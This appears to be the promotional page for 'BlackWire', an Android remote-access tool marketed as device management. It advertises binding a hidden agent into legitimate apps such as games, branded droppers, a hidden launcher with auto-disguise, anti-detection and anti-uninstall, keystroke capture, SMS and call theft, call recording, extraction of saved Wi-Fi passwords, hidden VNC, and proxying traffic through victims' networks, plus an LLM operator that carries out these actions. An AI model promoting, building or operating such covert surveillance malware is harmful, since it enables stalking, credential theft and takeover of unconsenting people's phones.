Full-Stack Android RMM Platform

Silent link.
Full control.

Web dashboard, FastAPI backend, and headless Android agents — Full (Shizuku wireless pair + Local ADB) or lightweight ADB (classic local TCP shell). Build standalone APKs, compile Orbit NDK workers (liborbit.so), brand Dropper launchers from the panel, or bind into host APK, XAPK, and APKM bundles — Orbit Shell, Shell stream / HVNC, call recording (both sides → timeline), one-time pm grant for all permissions, Internal & USB ADB, IR remote, Now Playing, Data Usage, remote APK install, optional on-device OCR, SOCKS5 proxy, Wi-Fi Direct share, WebView, FCM Sleep/Wake, AI operator, Telegram bot, Device Admin, Termux, and Python automation.

APK · XAPK · APKM Bind & Build
30+ Modules Toggle per device
Full · ADB · Orbit · Dropper Delivery & build paths
BlackWire Dashboard
● 12 Online
📱
📱
📱
📱
🔋 Battery 87%
🛰️ Orbit Shell
🪶 Branded dropper

See BlackWire
in action

Full platform walkthrough — dashboard, AI operator, Shizuku + Local ADB, Orbit Shell (/ws/orbit), call recording & one-time permission grant, Internal & USB ADB, Shell stream / HVNC, IR remote, Now Playing, Data Usage, File Tracker + optional OCR, SOCKS5 proxy, Wi-Fi Direct share, Remote Browser & full-screen WebView, Sleep/Wake push, Telegram bot, automation, Termux, Build Center (Full & ADB agents, Orbit NDK, branded Dropper, APK/XAPK/APKM bind with ABI strip), and more.

Smart management
all devices at a glance

Live status, advanced search, and hardware metrics — everything in real time.

📊

Online / Offline / Idle

Live connection status with idle indicators for every device via WebSocket updates.

🔍

Advanced Search & Filters

Quickly find devices among hundreds of phones with smart filters.

⚡

Real-time Updates

No page refresh — changes appear instantly on the dashboard.

📈

Hardware Metrics

Battery, RAM, and storage for each device at a glance.

🧩

Toggleable Modules

Enable or disable 30+ data-collection modules globally or per device — from the panel or AI chat.

🏷️

Tags & Groups

Organize fleets with labels and groups — filter devices instantly from the dashboard.

🗺️

World Map

See device distribution by country with live online/offline status on the map.

📜

Activity Timeline

Unified log of SMS, calls, call recordings, input, files, OCR scans, shell, tasks, hooks, and more.

🤖

AI Assistant

Device + admin LLM operator — screenshots, SMS, WebView, SOCKS5, Wi-Fi Direct, Now Playing, Data Usage, Device Admin, IR remote, optional OCR, modules, anti-kill, system toggles, shell, and task creation.

📋

Command Queue

Queue one-time commands that run in order — auto-run while online or drain on reconnect.

🔌

Full · ADB · Orbit · Dropper

Four delivery paths — Full agent (Shizuku + Local ADB), light ADB bootstrap, standalone Orbit NDK (liborbit.so with baked enroll config), or a featherweight Dropper that fetches the real payload on install.

🛰️

Orbit Shell

Privileged shell over /ws/orbit — xterm in the dashboard, Start/Stop from the device panel, deploy to /data/local/tmp, auto-reconnect, and attach credentials from a Full agent when needed.

📋

Device Info & Permissions

Hardware, network, SIM, and agent details — plus grant or review install permissions from the panel. On standalone builds, first-launch prompts follow remaining features from the APK stepper.

📊

App Usage & Data Usage

Screen time and foreground history, plus per-app Wi-Fi and mobile traffic — both via Usage Access.

🪟

Pop-out Device Panels

Float any device module — screen, shell, files, camera — in a separate browser window while keeping the main dashboard open.

📺

IR Remote

Send TV, AC, and set-top IR codes from the phone's IR blaster — Flipper IRDB catalog with brand profiles and test mode.

🐧

PRoot Runtime

Include the PRoot capability at APK build. Distro and rootfs (Alpine, Ubuntu, Debian, or custom) are chosen later from the device panel — not at build time.

🖥️

QEMU VM

Include the QEMU VM capability at APK build. Profile, VM defaults, and payload (system binary + kernel) are configured after install from the device panel.

🛡️

Firewall Control

Per-app network blocking and Chain 3 firewall — a Shizuku sub-capability under Include Shizuku privileged shell. Keep or strip Firewall independently; parent off removes the entire Shizuku stack.

Full control
from anywhere

Everything you need on the device — without being physically near the phone.

🖥️ Screen Monitoring

Live screen view and remote control via Accessibility — optional WebRTC H.264 stream at build time.

$ ls /sdcard/
DCIM Download Documents
$ pm list packages
com.android...

💻 Terminal & File Manager

Device Shell (uid=2000 when privileged), Orbit Shell (native worker), Termux Linux on Full builds, Local ADB / Shizuku shell, file transfer, image preview with zoom and rotate, and app install on Full or ADB agents.

📷 Camera & Microphone

Record and stream audio and video in real time.

Now Playing
Track · Artist
◀ ▶ ■ · seek
Control the active media session

🎵 Now Playing

See the active music or media session and remote play, pause, skip, and seek. Works from the panel and AI tools (get_now_playing / run_media_control).

📍 GPS Tracking

Live device location on the map.

FrameLayout
TextView — Login
EditText — password
Button — Sign in

👁️ Screen Reader

Stream live UI structure and remote taps via Accessibility.

📦 Applications

List, launch, force-stop, uninstall, and pull APKs. On ADB agents, upload an APK and install with -r / -d / -g / Internal·Sdcard options via pm install.

Wi-Fi
Airplane
Mobile Data
Brightness

🎛️ Quick Controls

Toggle airplane, Wi-Fi, Bluetooth, mobile data, location, torch, hotspot — plus brightness, volume, screen on/off, clipboard, dialer, vibrate, TTS, ringtone, and alarm. Available from the panel and AI tools.

$ id
uid=2000(shell) gid=2000(shell)
$ dumpsys display
power: off

🐚 Privileged Shell

Full agents: include Shizuku privileged shell at build — nested HVNC, Internal/USB ADB, Chrome CDP, Firewall, Process Control, Wireless ADB, Privileged settings sit under that toggle; parent off = entire stack gone — then Connect Shizuku (wireless pair) and Connect Local ADB. Either path unlocks uid=2000 for OLED blank, mute, confirm lock, call recording, one-time pm grant, saved Wi-Fi passwords, shared ADB key, Shell stream, and HVNC. ADB agents: Local TCP ADB only.

HVNC · virtual display
🖥️

🖥️ HVNC & Shell Stream

Hidden virtual display for off-screen apps, or Shell stream to mirror the phone screen (scrcpy-style, no MediaProjection). H.264 to the dashboard with remote taps/keys mapped to the live display. Optional timeline recording.

$ pm grant … READ_PHONE_STATE
call recording · both sides
$ grant_all_permissions
one time · uid=2000

📞 Call Recording & Grants

Auto-record both sides of carrier calls over privileged shell (VOICE_CALL → timeline WAV with number/contact). Grant Phone state from the Call recording card, or use Tools → One time to pm grant every declared runtime permission (+ appops) in one shot.

script: confirm_lock
tap — Sign in
wait — password field
capture — screenshot

✨ Accessibility Script

Write, sync, and run on-device automation scripts with a DSL editor, live parse, and an AI chat that drafts or patches the script.

⌨ HW: Enter
⌨ Soft: hello
⌨ Text: world
sync ~500ms

⌨️ Keyboard Watcher

Live hardware and soft-keyboard capture with offline buffering and timeline sync.

📂 File Tracker

Scan device storage and media with live progress, grid/list view, zoom/rotate preview, and download. Optional on-device OCR (Tesseract, Persian + English) walks gallery and file images and returns text with source path — off by default, enable in Optional modules at build time.

📡 Environment Scan

Scan nearby Wi‑Fi, BLE, cell towers, GNSS, Chromecast, DLNA, printers, and IoT devices. Optional internal LAN scan: ARP, ping, TCP ports, NetBIOS, SNMP, traceroute, UPnP, and Wake-on-LAN.

Touch blocked · you control

🛡️ Touch Block Overlay

Full-screen overlay on the device while you remote-control — block local touch, nav gestures, and control center with a custom message.

Model · Android 14
RAM 6.2 / 8 GB
Local IP 192.168.1.100

ℹ️ Device Info

Detailed hardware, storage, network, SIM, agent build, and runtime metrics — export-friendly snapshot from the panel.

🌐

🌐 WebView — Remote Browser & On Device

Remote Browser loads pages through the device's network in the dashboard (LAN gateways, intranet HTTP). On device pushes a URL or HTML full-screen on the phone — hide anytime; upload HTML for a temporary server URL.

192.168.1.1 · via device LAN
🌍

🌍 Remote Browser

Browse through the phone's connection in the panel only — open router admin pages, LAN hosts, and cleartext HTTP without launching a browser on the device.

Wi-Fi Direct · Sharing
DIRECT-7F-BlackWire
HTTP proxy 192.168.49.1:8080
Nearby clients join · not the carrier hotspot

📶 Wi-Fi Direct Share

Share the phone's internet over Wi-Fi Direct (NetShare-style). Nearby phones, tablets, or laptops join the DIRECT-xx SSID, then set a manual HTTP proxy. Needs Nearby Wi-Fi — not the carrier hotspot, and no extra dialog on the host after permission.

SOCKS5 · Active
socks5://user:••••@host:1080
curl -x socks5h://… api.ipify.org
TCP through the device network

🧦 SOCKS5 Proxy

Open an authenticated SOCKS5 endpoint on the server and route TCP through the phone's network. Copy proxyUrl / curlProxyUrl for browsers or curl -x socks5h://…. Stays up across panel reloads until you stop it or the device disconnects.

Online
Sleep
FCM Wake
Push token

😴 Sleep & Wake

Hibernate the agent while online to cut battery and network use. Wake later with a silent FCM push — even when the process is fully stopped.

IR LED
Samsung TV · Power
LG AC · Cool 22°C

📺 IR Remote

Control TVs, ACs, and set-top boxes via the phone IR blaster. Browse 1,200+ Flipper IRDB profiles by brand, send keys, and run test candidates from the panel.

$ connect_internal_adb
192.168.1.50:5555 · Android TV
$ connect_usb_adb
USB serial R58M · shell ready

📡 Internal & USB ADB

Reach LAN devices (TV boxes, tablets) over TCP ADB from the agent, or shell into USB-attached targets — connect, disconnect, and run commands from the dashboard.

Data & communications
under your control

  • ✓
    SMS Read and send text messages
  • ✓
    Contacts & Calls Contact list and call history
  • ✓
    Notification Logging Track notifications from other apps
  • ✓
    Activity Timeline Complete user activity history
  • ✓
    Toggleable Modules Enable or disable data collection per module
  • ✓
    Input Tracker Capture keystrokes, taps, and field changes
  • ✓
    Keyboard Watcher Hardware keys, soft keyboard, and text deltas with offline sync
  • ✓
    Remote Clipboard Write plain text to the device clipboard from Quick Controls
  • ✓
    File Tracker Scan storage and media; zoom/rotate preview; optional on-device OCR scan
  • ✓
    App Switch Tracking Log foreground app and screen changes
  • ✓
    App Usage Stats Screen time and foreground app history via Usage Access
  • ✓
    Data Usage Per-app Wi-Fi and mobile traffic over 1h / 6h / 24h / 7d windows
  • ✓
    Now Playing Live media session — play, pause, skip, and seek from the panel
  • ✓
    Screenshot Capture Remote screenshots logged to the timeline
Messages
Hey, we have a meeting tomorrow
Sure, I'll be there
10 AM sharp
📩
Telegram
New message received
📞
Missed Call
+1 555 ***

Python-powered
tasks & event hooks

Write sandboxed async Python scripts that control devices through a built-in SDK — run on schedule or react to live events.

task_script.py Sandboxed SDK
# Runs on device connect
async def main():
    info = await device.info()
    log.info(info["model"])

    loc = await device.get_location()
    await device.send_sms(
        "+15551234567",
        f"Online: {loc['latitude']}"
    )

    await device.run_shell(
        "pm list packages"
    )
notification_posted app_switch sms_received call_recording_saved device_online battery_low file_tracker_complete +30 more

⚙️ Tasks

Automated Python scripts executed on the server with full device SDK access.

  • Triggers: first connection, on register, on online
  • Global or per-device scope with run order
  • Built-in script editor, wiki, and snippet builder
  • Test runs, execution history, and timeline logging
  • Sandboxed — no imports, no filesystem or network access

🔗 Event Hooks

React instantly when something happens on a device — 36+ event types with server, device, or both execution modes.

  • Notifications, input taps, screen changes, and file tracker events
  • SMS, calls, call_recording_saved (WAV → Telegram via send_to_telegram), app install/uninstall, and boot events
  • Device lifecycle: online, offline, register
  • Filter by package, text, activity class, and more
  • Run on server, on device, or both — with hook run history

📋 Command Queue

Queue one-time device actions — shell, SMS, screenshots, WebView, scripts, and 15+ action types.

  • Auto-run while online or drain on reconnect
  • Reorder, delete, and run-queue-now from the dashboard
  • Execution history with success/error status per item
  • Works alongside Tasks and Event Hooks

Natural-language
device operator

  • ✓
    Device-scoped chat Per-device conversations with permission-aware preflight and auto permission prompts
  • ✓
    Admin fleet assistant List devices, run nested device turns, create tasks & hooks, manage global module/anti-kill defaults, and Telegram bot alerts
  • ✓
    Live device actions Screenshots, SMS, WebView, SOCKS5, Wi-Fi Direct, Now Playing, Data Usage, Device Admin, toggles, shell, IR, camera, mic, GPS
  • ✓
    Modules & Anti Kill Patch data-collection modules and anti-kill capabilities from chat — per device or global defaults
  • ✓
    OpenAI or Anthropic Provider, model, base URL, and API key in Settings — master switch via AI_ENABLED
assistant chat LLM
You:
Lock the screen, disable Wi-Fi,
and enable the SMS module.

Assistant:
Device admin lock sent.
Wi-Fi toggle set to off.
sms_log enabled and pushed.
→ run_device_admin(lock_screen)
→ set_system_toggle(wifi=false)
→ update_device_modules

Full Linux shell
on every device

Embedded Termux environment inside the agent — or skip Termux for a lightweight Device Shell-only APK (~8–15 MB). On-device OCR is a separate Optional module and is off unless you enable it.

  • Interactive Termux terminal in the browser (xterm.js)
  • Lightweight Device Shell when Termux is disabled at build time
  • Per-device file push/pull from the dashboard
  • Hidden embedded Linux rootfs — no separate Termux app
  • On-demand, fully embedded, or dynamic module build modes
  • Per-host-package bootstrap builder for bound apps
  • Bind jobs queue while bootstrap builds run in parallel
  • Toggleable via the Termux Shell module per device
On-demand bootstrap Termux libraries in APK, rootfs downloaded on first use (~30–50 MB)
Fully embedded Bootstrap ZIP included in the APK (~60–90 MB)
Dynamic module Smallest base APK — full Termux installable later from your server (~15–30 MB)
Termux — device-a3f9 connected
$ uname -a
Linux localhost 5.15.0 aarch64 GNU/Linux
$ pkg list-installed | head -3
bash/5.2.15 aarch64 [installed]
coreutils/9.4 aarch64 [installed]
curl/8.4.0 aarch64 [installed]
$ curl -s ifconfig.me
203.0.113.42
$

Wireless pair
& classic Local ADB

Full agents expose both paths from the dashboard: Connect Shizuku (Wireless debugging pair) and Connect Local ADB (loopback adbd). At build time, nested Shizuku operations sit under the Include Shizuku privileged shell toggle — not a thin two-item Exclude card. Parent off strips the entire Shizuku stack. ADB agents use classic local TCP ADB only — no Wireless Debugging / full Shizuku server required.

  • Include — Full builds: toggle Shizuku privileged shell. Parent off = HVNC, Internal ADB, USB ADB, Chrome CDP, Firewall, Process Control, Wireless ADB, and Privileged settings all gone
  • Sub-capabilities — appear under that Include toggle; exclude a child to hide that operation while privileged shell stays compiled
  • Full — Connect Shizuku on the pairing screen, or Connect Local ADB after one-time adb tcpip 5555
  • ADB — scan localhost for adbd, Connect Local ADB, accept “Allow USB debugging?”
  • Shell stream — mirror the main display (scrcpy-style) with accurate touch mapping to logical screen size
  • HVNC — virtual display stream (MediaCodec H.264), remote input, live resize, launch apps off-screen
  • Call recording — both-sides WAV to the timeline; Grant via ADB for READ_PHONE_STATE / call log
  • One time — Tools → Grant all once (pm grant + appops for declared runtime permissions)
  • OLED panel blank, device mute, confirm lock helpers via uid=2000 shell
  • ADB Applications — upload APK and install with reinstall / downgrade / grant permissions / Internal·Sdcard flags
  • Device Shell on ADB builds always runs as uid=2000 when Local ADB is ready
Full agent Include Shizuku privileged shell — nested HVNC, Internal/USB ADB, Chrome CDP, Firewall, Process Control, Wireless ADB, Privileged settings. Parent off = entire stack gone
ADB agent Local TCP 127.0.0.1 only — light APK for shell, apps, files, controls, Shell stream
Shell stream / HVNC Main-display mirror or hidden VD — H.264 frames + remote input
One time grants pm grant all declared permissions + call-record Phone state in one tap
Local ADB — Shell stream ready
$ connect_local_adb —port 5555
uid=2000(shell) · 127.0.0.1:5555
$ grant_all_permissions
pm grant · appops · one time
$ set_call_record —enabled
recording both sides → timeline WAV
$ start_shell_stream
mirror display 0 · H.264 · touch → logical size
$

Security & stability
at enterprise level

🛡️

Anti Kill

Build-time protections plus live capability toggles from the panel or AI — block uninstall, app info, and admin deactivation.

👑

Device Admin

Lock screen, wipe data, disable camera, and reset password from the panel or AI when admin is active on the device.

🔐

JWT Authentication

Secure authentication for dashboard access.

🛡️

Certificate Pinning

Secure HTTPS connections with certificate pinning.

👻

Headless Agent

Auto-starts after install and reboot — no user interaction required.

🔄

Watchdog

Connection stability with a built-in watchdog mechanism.

😴

Sleep & Wake (FCM)

Sleep the agent over WebSocket to stop runtime and save battery. Wake with a silent Firebase push — reconnects even when offline. Requires Push wake on the APK build and a server service account. The counterpart for the very first start is Run after install, which brings the agent up at install with no interaction (toggle the trigger per device from the dashboard).

✈️

Quick Toggles

Airplane, Wi-Fi, Bluetooth, mobile data, location, torch, hotspot — plus volume, brightness, screen, clipboard, dialer, vibrate, TTS, ringtone, and alarm.

📶

Wi-Fi Direct Share

NetShare-style P2P group plus on-device HTTP proxy. Nearby clients join the DIRECT-xx SSID and set a manual proxy — not the carrier hotspot. Needs Nearby Wi-Fi. AI tools: start_wifi_share / stop_wifi_share.

🧦

SOCKS5 Proxy

Authenticated SOCKS5 through the device network. Dashboard and REST return proxyUrl / curlProxyUrl. AI tools: start_socks_proxy / stop_socks_proxy.

🐚

Shizuku + Local ADB

Full builds: Include Shizuku privileged shell — nested HVNC, Internal/USB ADB, Chrome CDP, Firewall, Process Control, Wireless ADB, Privileged settings (parent off strips the entire stack). Then Connect Shizuku (wireless pair) and Connect Local ADB. OLED blank, mute, lock type, call recording, one-time permission grant, saved Wi-Fi passwords, shared ADB key, Shell stream / HVNC. ADB builds: Local TCP shell only.

📞

Call Recording

Both-sides carrier call WAV via uid=2000 shell — auto-start on off-hook, upload to timeline with number/contact. Grant Phone state / call log with pm grant from the panel.

🔑

One-time Grants

Tools → Grant all once runs pm grant (+ appops) for every declared runtime permission when Local ADB / Shizuku shell is ready — no per-permission dialogs.

🖥️

HVNC & Shell Stream

Hidden virtual display or main-screen Shell stream — H.264 to the dashboard, remote taps/keys on the live display size, optional timeline recording.

📡

WebRTC Stream

Optional H.264 screen streaming over WebRTC — enable at build time for lower-latency mirror.

🔤

On-device OCR

Optional Tesseract module (Persian + English). Off by default so the APK stays light — enable in Optional modules to OCR gallery and file images on the phone.

🔒

Anti-Detection

Root, emulator, and debugger detection.

🔐

Two-Factor Auth

TOTP 2FA for dashboard users — enforce globally or per account from Security settings.

🤖

Turnstile Login Guard

Optional Cloudflare Turnstile bot protection on admin login.

📜

Audit Logs

Searchable admin action history — logins, builds, device deletes, and security events.

🔗

Restart Deeplink

Optional custom URI (e.g. deviceagent://restart) baked into the APK so a web page can relaunch the agent.

🔍

Session Smart Signals

VPN, incognito, and WebRTC IP-mismatch hints on admin login sessions — enrich security review from Settings.

✅

APK Compatibility

Submit host package requests from Bind — admins approve or reject before merge jobs run on that package.

Standalone APK or
bind into any host app

Configure and build from the dashboard — no Android Studio. Standalone Full/ADB APKs, Orbit NDK workers, branded Dropper installers, or merge the agent into games and apps via APK, XAPK, or APKM upload with cancelable uploads and background jobs.

Full agent

Shizuku + Local ADB

Wireless pair and classic local TCP — Termux, WebView, full modules, HVNC, Device Shell, and optional PRoot / QEMU.

ADB agent

Local TCP bootstrap

Light APK — Local ADB shell, apps (pm install options), files, controls, Shell stream / HVNC. No Wireless Debugging.

Orbit NDK

liborbit.so worker

Native-only build — AES-GCM baked server URL, build ID, enrollment key, and fingerprint. Download per ABI, push to /data/local/tmp, enroll and connect on /ws/orbit without a Full APK.

Bind

Host APK / XAPK / APKM

Upload a host app, analyze bindability, merge agent DEX + manifest, strip unused host ABIs, keep the real host icon, sign, verify, and download.

🔨 Bind into host Ready
PvZ-3-30.1.3.xapk
com.ea.gp.pvzn3xt
Bindable · score 70/100 · 2 splits merged
Device Admin
Anti Kill
Termux dynamic
Restart deeplink
Shizuku
WebRTC
On-device OCR
IR Remote
Push wake
Download bound APK / XAPK / APKM

Merge agent into
APK · XAPK · APKM

  • Upload .apk, .xapk, or .apkm — split bundles merged automatically
  • Pre-bind analysis: package, ABIs, DEX count, Unity/anti-cheat hints, Play App Signing stamp
  • Bindability score with force-bind option for edge cases
  • Host launcher icon extracted for the Bind panel and build history (adaptive XML + density PNGs)
  • Cancelable upload with progress — mode switch locked while uploading
  • Background bind jobs with durable timers — leave and resume on the Bind tab
  • Selected CPU architectures apply to the bound APK — unused host lib/<abi> folders are stripped
  • Staged apktool errors and post-sign verify (apksigner + aapt2 dump badging)
  • Termux dynamic module keeps bound APK small (~15–30 MB slice)
  • Custom Termux bootstrap per host package name
  • Concurrent bootstrap build + bind jobs
  • Output as .apk, .xapk, or .apkm matching the host bundle format
  • APK compatibility requests — submit for admin approve/reject before bind
  • Optional modules stay off by default: Device Admin, Anti Kill, Shizuku privileged shell (nested sub-capabilities under the Include toggle), WebRTC, Internal scan, IR Remote, Termux, on-device OCR, PRoot, and QEMU VM
  • Modular Exclude: parent groups with nested sub-capabilities — Accessibility, Notification Access, Usage Access, and Browse & Proxy (Remote Browser, SOCKS proxy, Wi-Fi Share). Permission IDs match Custom install permissions except Notifications and Battery
  • PRoot / QEMU: include the capability at bind time only — distro, rootfs, QEMU profile, VM defaults, and payload (binary + kernel) are set from the device panel after install
  • Optional Firebase Push wake (FCM) for Sleep / Wake from the dashboard

Custom agent APKs
from the panel

One section, three steps — CPU architectures, what stays in the APK, then Permissions at install derived from remaining features.

1. CPU architectures (ABI) Pick which ABIs the APK is built for (default arm64-v8a). Unused ABIs stay out of the APK.
2. What's in the APK Modular Exclude (parent groups with nested sub-capabilities) plus optional Include modules. Shizuku children sit under Include Shizuku privileged shell. PRoot / QEMU are include/exclude only — distro, rootfs, profile, VM defaults, and QEMU payload are configured later from the device panel.
3. Permissions at install Minimal or Custom. First-launch prompts follow remaining capabilities from step 2. Excluded modules are not offered. Notifications and Battery stay for the agent service.
  • Custom app name, icon, and package name
  • Modular Exclude: parent groups with nested sub-capabilities — Accessibility, Notification Access, Usage Access, and Browse & Proxy (Remote Browser, SOCKS proxy, Wi-Fi Share). Permission IDs match Custom install permissions except Notifications and Battery
  • Shizuku sub-capabilities (HVNC, Internal ADB, USB ADB, Chrome CDP, Firewall, Process Control, Wireless ADB, Privileged settings) appear under Include Shizuku privileged shell — not a thin Exclude card. Parent off = entire Shizuku stack gone
  • Optional modules (off by default): WebRTC, Shizuku, Internal scan, IR Remote, Termux, on-device OCR, PRoot, QEMU VM
  • Hide launcher after install
  • Run after install — the agent starts and connects on its own at install time, no user interaction (needs Play Services / Cast media-router discovery)
  • Build without launcher — no app icon at all; forces Hide app, Hide from Recent apps, and Auto-disguise off (install over adb / MDM or from the dashboard)
  • Auto-disguise launcher name & icon (presets or custom) after first run
  • Per-build device token lifetime (days or unlimited)
  • Auto-dismiss foreground connection notification
  • Optional Gradle build resource cap (host CPU/RAM)
  • Restart deeplink (scheme://host) to relaunch the agent from a web page
  • Device Admin and Anti Kill at build time
  • Live anti-kill capability overrides after install
  • Anti-root, anti-emulator, and anti-debug options
  • Agent type Full or ADB
  • Public tokenized APK download page per build (/d/{token})
  • Background builds with durable elapsed timers
  • Fake APK size padding for standalone builds
  • Build history and install-status tracking
📦 Standalone APK Ready
arm64-v8a
Exclude + optional modules
Exclude Accessibility
Browse & Proxy
Shizuku privileged shell
HVNC Stream
PRoot
QEMU VM
Derived from remaining features
Build APK

Ship a tiny dropper
not the whole payload

A brandable HTML/CSS/JS installer WebView that hands every sensitive action — VPN permission, download, ZIP extraction, APK install — to a native Kotlin layer. Build from the dashboard (launcher app name and icon, payload URL or offline ZIP, UI or headless) or via build.ps1. minSdk 24 · targetSdk 37 · Kotlin · Local VPN.

  • ✓
    Dashboard dropper builder Stepped Build Center flow — target package, remote or bundled payload, WebView entry URL, signing, build history, and APK download.
  • ✓
    Launcher branding Custom appDisplayName (up to 40 chars) and optional PNG launcher icon baked into the dropper APK — same idea as standalone agent builds.
  • ✓
    Controlled download APK fetched only from a whitelisted host — Base64-encoded URL in device-agent-config.json.
  • ✓
    Offline install from ZIP Encrypted (password-protected) ZIP bundled inside assets/ — no network needed at install time.
  • ✓
    Local VPN quarantine Device traffic locked to the whitelisted host during install; every other destination is dropped.
  • ✓
    Custom WebView UI Replace wizard.html / index.html in assets/www/ — or point entry_page at a full remote URL.
  • ✓
    JS ↔ Android bridge window.AndroidAgent exposes install flow, config, haptics, toasts, clipboard, device info, and package checks.
  • ✓
    Post-install routes Success, error, cancel, relaunch — page, toast, JS callback, or open the target app directly.
  • ✓
    Headless mode Silent install with no dedicated background or webpage — install_source set to download or local.
  • ✓
    Cache install use_cache=true reuses the previously downloaded APK — no re-download on repeat installs.
  • ✓
    CI/CD build script build.ps1 injects config, strips unused assets in headless mode, and outputs dist/bootstrap-installer.apk.
  • ✓
    Relaunch handling When the target app is already installed and the user reopens the dropper, route via relaunch_action — toast, close, open target, or callback.
🪶

Featherweight APK

Kotlin + WebView, minSdk 24, targetSdk 37. Build script strips unused assets in headless mode so the dropper stays tiny.

🎨

Brandable UI

Every page lives in assets/www/. Set launcher name and icon in the panel; ship a custom wizard, a branded remote UI, or nothing at all in headless mode.

🛡️

Network Quarantine

Local VPN drops traffic outside allowed_host during install — no side-channel leaks while the payload lands on the device.

📦

Two Install Paths

install_source = download (fetch from server) or local (extract encrypted ZIP bundled in assets/).

⚙️

JSON Config

One file — installer, ui, and headless sections. The dashboard builder writes it for Gradle; build.ps1 remains for CLI/CI.

🔗

AndroidAgent API

onDownloadClicked, onLocalInstallClicked, promptVpnPermission, getDeviceInfo, vibrate, showToast, and more.

📴

Headless Install

Zero UI when headless.enabled=true. Drive the whole flow silently with action config — perfect for MDM-delivered installs.

🚀

CI/CD Ready

build.ps1 -Headless -InstallSource local -ZipFilename … -TargetPackage … -RelaunchAction open_target_app → optimized APK in dist/.

Full programmatic
access to everything

FastAPI backend with JWT auth, OpenAPI docs, 55+ REST route modules, and dual WebSocket channels — integrate BlackWire into your own tools.

api_example.sh REST + WS
# Authenticate
curl -X POST /api/auth/login \
  -d '{"username":"admin","password":"***"}'

# List devices
curl /api/devices \
  -H "Authorization: Bearer $TOKEN"

# Show full-screen WebView on device
curl -X POST /api/devices/{id}/webview/show \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"https://example.com"}'

# WebSocket dashboard
ws://host/ws/dashboard?token=$TOKEN
GET POST PATCH DELETE WS

🔌 REST API

Every dashboard action is available via HTTP — built on FastAPI with Pydantic validation.

  • /api/devices — list, update, delete, revoke tokens
  • /api/devices/{id}/* — screen, files, shell, SMS, camera, GPS, WebView…
  • /api/devices/{id}/webview/* — show / hide / state / HTML upload / onsite browse
  • /api/devices/{id}/socks-proxy — start / get / stop SOCKS5 through the device
  • /api/devices/{id}/wifi-share — start / get / stop Wi-Fi Direct + HTTP proxy
  • /api/devices/{id}/now-playing — media session + play/pause/skip/seek
  • /api/devices/{id}/data-usage — per-app Wi-Fi / mobile traffic
  • /api/devices/{id}/actions/hibernate — sleep agent until Wake
  • /api/devices/{id}/actions/wake — FCM push to reconnect
  • /api/tasks & /api/hooks — automation CRUD & runs
  • /api/builds — standalone APK, Orbit NDK, and bind jobs
  • /api/builds/dropper — dashboard Dropper installer builds
  • /api/orbit/* — status, start/stop worker, shell exec
  • /api/apk-requests — host APK compatibility review workflow
  • /api/devices/{id}/command-queue — queued one-time commands
  • /api/devices/{id}/accessibility-scripts — on-device automation
  • /api/dashboard-users — multi-user RBAC, quotas & slots
  • /api/api-keys — REST keys with endpoint permissions
  • /api/devices/{id}/file-tracker — storage scan & progress
  • /api/devices/{id}/shizuku/* — Connect, OLED, mute, call-record / grant, grant-all-permissions, Wi-Fi passwords, ADB key, HVNC / Shell stream
  • /api/devices/{id}/internal-adb/* & /usb-adb/* — LAN and USB ADB shell
  • /api/devices/{id}/ir-remote/* & /api/ir-catalog/* — IR profiles and send keys
  • /api/devices/{id}/commands/install-apk — ADB pm install with path & flags
  • /api/settings/storage — server disk & volume usage
  • /api/security/audit-logs — admin action audit trail
  • /api/telegram-bot — bot settings and inline device alerts
  • /d/{token} — public tokenized APK download pages
  • /api/auth/agent/enroll — secure agent registration

⚡ WebSocket

Real-time bidirectional channels for the dashboard and Android agents.

  • /ws/dashboard — live device status, events, command results
  • /ws/device — agent connection, heartbeat, remote commands
  • /ws/orbit — Orbit worker shell session (privileged exec)
  • Termux output, module sync, and bootstrap progress streams
  • Keyboard watcher batches and accessibility script live events
  • WebRTC signaling for optional screen streaming
  • OpenAPI docs at /docs when enabled

Every capability
in one platform

📊 Dashboard

  • 🟢 Live status & idle state
  • 🪟 Pop-out device panels
  • 📱 PWA installable dashboard
  • 🗺️ World map by country
  • 🏷️ Tags & groups
  • 🔍 Search & filtering
  • ⚡ WebSocket updates
  • 🔋 Battery / RAM / storage
  • 🔨 Standalone APK builder (3-step: ABI, contents, permissions)
  • 📦 Bind APK / XAPK / APKM
  • 🪶 Dropper bootstrap builder (name + icon)
  • 🛰️ Orbit NDK (liborbit.so) builds
  • ✅ APK compatibility requests
  • 📋 Build history & tracking
  • 📋 Command queue
  • 🤖 AI assistant (50+ tools)

📱 Remote Control

  • 🖥️ Screen monitor & control
  • 👁️ Screen reader (UI tree)
  • 🌐 Remote Browser (device network)
  • 📶 Wi-Fi Direct share + HTTP proxy
  • 🧦 SOCKS5 proxy (device network)
  • 🎵 Now Playing media control
  • 📶 Per-app Data Usage
  • 🔑 Saved Wi-Fi passwords (Shizuku)
  • 🌐 Full-screen WebView (URL / HTML)
  • 🛡️ Touch block overlay
  • ℹ️ Device info panel
  • 🔐 Permissions grant flow
  • 🔑 One-time grant all (pm grant)
  • 📞 Call recording (both sides → timeline)
  • 📁 File manager + zoom/rotate preview
  • 💻 Remote shell
  • 🛰️ Orbit Shell (xterm · /ws/orbit)
  • 💻 Device Shell terminal
  • 🐧 Termux Linux terminal
  • 🐧 PRoot (include at build, distro on device)
  • 🖥️ QEMU VM (include at build, payload on device)
  • 📤 Termux file transfer
  • 📂 File tracker + OCR scan
  • 📡 Internal & USB ADB shell
  • 📺 IR remote (Flipper IRDB)
  • 🐚 Shizuku + Local ADB connect
  • 🖥️ HVNC & Shell stream (H.264)
  • 📦 APK install (Full + ADB)
  • ✨ Accessibility scripts
  • ⌨️ Keyboard watcher
  • 📡 Environment scan + LAN tools
  • 📦 App management + APK install
  • ✈️ System toggles & controls
  • 😴 Sleep & FCM Wake
  • 👑 Device Admin actions

🪶 Dropper

  • 🪶 Featherweight Kotlin APK
  • 🏷️ Custom launcher name & icon
  • 🎨 Brandable WebView UI
  • 🛡️ Local VPN network quarantine
  • 📥 Controlled download (whitelisted host)
  • 📦 Offline install from encrypted ZIP
  • 🔐 Password-protected ZIP in assets/
  • 🪄 wizard.html / index.html / remote URL entry
  • 🔗 window.AndroidAgent JS bridge
  • ⚙️ device-agent-config.json (installer · ui · headless)
  • 📴 Headless silent install
  • 🚀 build.ps1 CI/CD pipeline
  • 🔀 post_action_type / cancel_action_type routes
  • 🔁 relaunch_action handling
  • 💾 use_cache reinstall without re-download
  • 🧩 isPackageInstalled / isUpdateCached checks
  • 📳 vibrate · showToast · copyToClipboard

🎬 Media & Location

